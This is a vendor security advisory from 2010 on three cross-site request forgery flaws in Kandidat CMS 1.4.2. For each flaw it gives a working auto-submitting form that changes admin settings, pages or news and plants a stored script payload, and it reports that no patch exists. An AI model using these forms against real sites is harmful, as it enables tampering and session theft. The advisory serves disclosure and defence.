Total Tests:

Cross-site Request Forgery (CSRF) Vulnerabilities in Kandidat CMS

Advisory ID:HTB22648
Product:Kandidat CMS
Vendor:Kan-Studio
Vulnerable Versions:1.4.2 and probably prior
Tested Version:1.4.2
Advisory Publication:October 19, 2010 [without technical details]
Vendor Notification:October 19, 2010
Public Disclosure:November 2, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Kandidat CMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Kandidat CMS
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/settings.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings (e.g. website title and template). Due to insufficient sanitation of input data in the “title” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/admin/settings.php?action=validate" method="post" name="main">
<input type="hidden" name="title" value='Site Title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="template" value="silver">
<input type="hidden" name="Submit" value="Save changes">
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in admin/edit.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit arbitrary pages. Due to insufficient sanitation of input data in the “title” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/admin/edit.php?what=PAGE_ID" method="post" name="main">
<input type="hidden" name="title" value='About"><script>alert(document.cookie)</script>'>
<input type="hidden" name="article" value="page html">
<input type="hidden" name="myinclude" value="">
<input type="hidden" name="description" value="">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="Submit" value="Submit">
</form>
<script>
document.main.submit();
</script>

1.3 The vulnerability exists due to insufficient validation of the request origin in admin/news.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit arbitrary articles. Due to insufficient sanitation of input data in the “header” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/admin/news.php?edit=NEWS_ID" method="post" name="main">
<input type="hidden" name="header" value='newsheader"><script>alert(document.cookie)</script>'>
<input type="hidden" name="message" value="message">
<input type="hidden" name="extramessage" value="extramessage">
<input type="hidden" name="newsdoing" value="Submit">
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22648 - https://www.immuniweb.com/advisory/HTB22648 - Cross-site Request Forgery (CSRF) Vulnerabilities in Kandidat CMS
[2] Kandidat CMS - kan-studio.ru - Kandidat CMS is a content management system written in PHP.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential